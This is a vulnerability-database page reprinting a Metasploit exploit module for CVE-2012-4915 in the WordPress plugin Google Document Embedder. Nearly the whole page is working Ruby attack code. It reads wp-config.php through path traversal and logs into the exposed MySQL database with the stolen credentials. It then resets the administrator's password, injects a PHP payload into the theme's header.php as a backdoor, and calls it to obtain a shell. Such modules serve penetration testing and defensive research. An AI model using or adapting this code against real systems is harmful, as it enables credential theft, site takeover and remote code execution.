Lucene search
K

WordPress Google Document Embedder Arbitrary File Disclosure

🗓️ 08 Jan 2013 00:00:00Reported by Charlie EriksenType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 36 Views

WordPress Google Document Embedder Arbitrary File Disclosure. Exploits arbitrary file disclosure flaw in WordPress plugin Google Document Embedder, allowing database credential disclosure via /libs/pdf.php script. Vulnerable versions 2.4.6 and below. MySQL server must be exposed on an accessible IP and WordPress must have filesystem write access

Related
Code
`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
require 'rbmysql'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'WordPress Plugin Google Document Embedder Arbitrary File Disclosure',  
'Description' => %q{  
This module exploits an arbitrary file disclosure flaw in the WordPress  
blogging software plugin known as Google Document Embedder. The vulnerability allows for  
database credential disclosure via the /libs/pdf.php script. The Google Document Embedder  
plug-in versions 2.4.6 and below are vulnerable. This exploit only works when the MySQL  
server is exposed on a accessible IP and Wordpress has filesystem write access.  
  
Please note: The admin password may get changed if the exploit does not run to the end.  
},  
'Author' =>  
[  
'Charlie Eriksen',  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2012-4915'],  
['OSVDB', '88891'],  
['URL', 'http://secunia.com/advisories/50832'],  
],  
'Privileged' => false,  
'Payload' =>  
{  
'DisableNops' => true,  
'Compat' =>  
{  
'ConnectionType' => 'find',  
},  
},  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' => [[ 'Automatic', { }]],  
'DisclosureDate' => 'Jan 03 2013',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/']),  
OptString.new('PLUGINSPATH', [true, 'The relative path to the plugins folder', 'wp-content/plugins/']),  
OptString.new('ADMINPATH', [true, 'The relative path to the admin folder', 'wp-admin/']),  
OptString.new('THEMESPATH', [true, 'The relative path to the admin folder', 'wp-content/themes/'])  
], self.class)  
end  
  
def check  
uri = target_uri.path  
uri << '/' if uri[-1,1] != '/'  
plugins_uri = String.new(uri)  
plugins_uri << datastore['PLUGINSPATH']  
plugins_uri << '/' if plugins_uri[-1,1] != '/'  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => "#{plugins_uri}google-document-embedder/libs/pdf.php",  
})  
  
if res and res.code == 200  
return Exploit::CheckCode::Detected  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
def exploit  
uri = target_uri.path  
uri << '/' if uri[-1,1] != '/'  
plugins_uri = String.new(uri)  
plugins_uri << datastore['PLUGINSPATH']  
plugins_uri << '/' if plugins_uri[-1,1] != '/'  
admin_uri = String.new(uri)  
admin_uri << datastore['ADMINPATH']  
admin_uri << '/' if plugins_uri[-1,1] != '/'  
themes_uri = String.new(uri)  
themes_uri << datastore['THEMESPATH']  
themes_uri << '/' if plugins_uri[-1,1] != '/'  
  
print_status('Fetching wp-config.php')  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => "#{plugins_uri}google-document-embedder/libs/pdf.php",  
'vars_get' =>  
{  
'fn' => "#{rand_text_alphanumeric(4)}.pdf",  
'file' => "#{'../' * plugins_uri.count('/')}wp-config.php",  
}  
})  
  
if res and res.body =~ /allow_url_fopen/  
fail_with(Exploit::Failure::NotVulnerable, 'allow_url_fopen and curl are both disabled')  
elsif res.code != 200  
fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")  
end  
  
config = parse_wp_config(res.body)  
if not ['DB_HOST', 'DB_PORT', 'DB_USER', 'DB_PASSWORD', 'DB_NAME'].all? { |parameter| config.has_key?(parameter) }  
fail_with(Exploit::Failure::UnexpectedReply, "The config file did not parse properly")  
end  
begin  
@mysql_handle = ::RbMysql.connect({  
:host => config['DB_HOST'],  
:port => config['DB_PORT'],  
:read_timeout => 300,  
:write_timeout => 300,  
:socket => nil,  
:user => config['DB_USER'],  
:password => config['DB_PASSWORD'],  
:db => config['DB_NAME']  
})  
rescue Errno::ECONNREFUSED,  
RbMysql::ClientError,  
Errno::ETIMEDOUT,  
RbMysql::AccessDeniedError,  
RbMysql::HostNotPrivileged  
fail_with(Exploit::Failure::NotVulnerable, 'Unable to connect to the MySQL server')  
end  
res = @mysql_handle.query("SELECT user_login, user_pass FROM #{config['DB_PREFIX']}users U  
INNER JOIN #{config['DB_PREFIX']}usermeta M ON M.user_id = U.ID AND M.meta_key = 'wp_user_level' AND meta_value = '10' LIMIT 1")  
  
if res.nil? or res.size <= 0  
fail_with(Exploit::Failure::UnexpectedReply, 'No admin was account found')  
end  
  
user = res.first  
  
new_password = rand_text_alphanumeric(8)  
@mysql_handle.query("UPDATE #{config['DB_PREFIX']}users SET user_pass = '#{::Rex::Text.md5(new_password)}' WHERE user_login = '#{user[0]}'")  
print_warning("Admin password changed to: #{new_password}")  
  
admin_cookie = get_wp_cookie(uri, user[0], new_password)  
  
theme, nonce, old_content = get_wp_theme(admin_uri, admin_cookie)  
  
print_warning("Editing theme #{theme}")  
set_wp_theme(admin_uri, admin_cookie, nonce, theme, payload.encoded)  
  
print_status("Calling backdoor")  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => "#{themes_uri}#{theme}/header.php",  
})  
  
if res and res.code != 200  
fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")  
end  
  
set_wp_theme(admin_uri, admin_cookie, nonce, theme, old_content)  
  
@mysql_handle.query("UPDATE #{config['DB_PREFIX']}users SET user_pass = '#{user[1]}' WHERE user_login = '#{user[0]}'")  
  
print_status("Shell should have been acquired. Disabled backdoor")  
end  
  
def parse_wp_config(body)  
p = store_loot('wordpress.config', 'text/plain', rhost, body, "#{rhost}_wp-config.php")  
print_status("wp-config.php saved in: #{p}")  
print_status("Parsing config file")  
values = {}  
  
body.each_line do |line|  
if line =~ /define/  
key_pair = line.scan(/('|")([^'"]*)('|")/)  
if key_pair.length == 2  
values[key_pair[0][1]] = key_pair[1][1]  
end  
elsif line =~ /table_prefix/  
table_prefix = line.scan(/('|")([^'"]*)('|")/)  
values['DB_PREFIX'] = table_prefix[0][1]  
end  
end  
#Extract the port from DB_HOST and normalize DB_HOST  
values['DB_PORT'] = values['DB_HOST'].include?(':') ? values['DB_HOST'].split(':')[1] : 3306  
  
if values['DB_HOST'] =~ /(localhost|127.0.0.1)/  
print_status("DB_HOST config value was a loopback address. Trying to resolve to a proper IP")  
values['DB_HOST'] = ::Rex::Socket.getaddress(datastore['RHOST'])  
end  
  
return values  
end  
  
def get_wp_cookie(uri, username, password)  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => "#{uri}wp-login.php",  
'cookie' => 'wordpress_test_cookie=WP+Cookie+check',  
'vars_post' =>  
{  
'log' => username,  
'pwd' => password,  
'wp-submit' => 'Log+In',  
'testcookie' => '1',  
},  
})  
  
if res and res.code == 200  
fail_with(Exploit::Failure::UnexpectedReply, 'Admin login failed')  
elsif res and res.code != 302  
fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")  
end  
  
admin_cookie = ''  
(res.headers['Set-Cookie'] || '').split(',').each do |cookie|  
admin_cookie << cookie.split(';')[0]  
admin_cookie << ';'  
end  
  
if admin_cookie.empty?  
fail_with(Exploit::Failure::UnexpectedReply, 'The resulting cookie was empty')  
end  
  
return admin_cookie  
end  
  
def get_wp_theme(admin_uri, admin_cookie)  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => "#{admin_uri}theme-editor.php?file=header.php",  
'cookie' => admin_cookie,  
})  
  
if res and res.code != 200  
fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")  
elsif res and res.body.scan(/<input.+?name="submit".+?class="button button-primary"/).length == 0  
fail_with(Exploit::Failure::NotVulnerable, 'Wordpress does not have write access')  
end  
  
nonce = res.body.scan(/<input.+?id="_wpnonce".+?value="(.+?)"/)[0][0].to_s  
old_content = Rex::Text.html_decode(Rex::Text.html_decode(res.body.scan(/<textarea.+?id="newcontent".+?>(.*)<\/textarea>/m)[0][0].to_s))  
theme = res.body.scan(/<input.+?name="theme".+?value="(.+?)"/)[0][0].to_s  
  
return [theme, nonce, old_content]  
end  
  
def set_wp_theme(admin_uri, admin_cookie, nonce, theme, new_content)  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => "#{admin_uri}theme-editor.php?",  
'cookie' => admin_cookie,  
'vars_post' =>  
{  
'_wpnonce' => nonce,  
'theme' => theme,  
'newcontent' => new_content,  
'action' => 'update',  
'file' => 'header.php'  
},  
})  
  
if res and res.code != 302  
fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")  
end  
end  
  
end  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation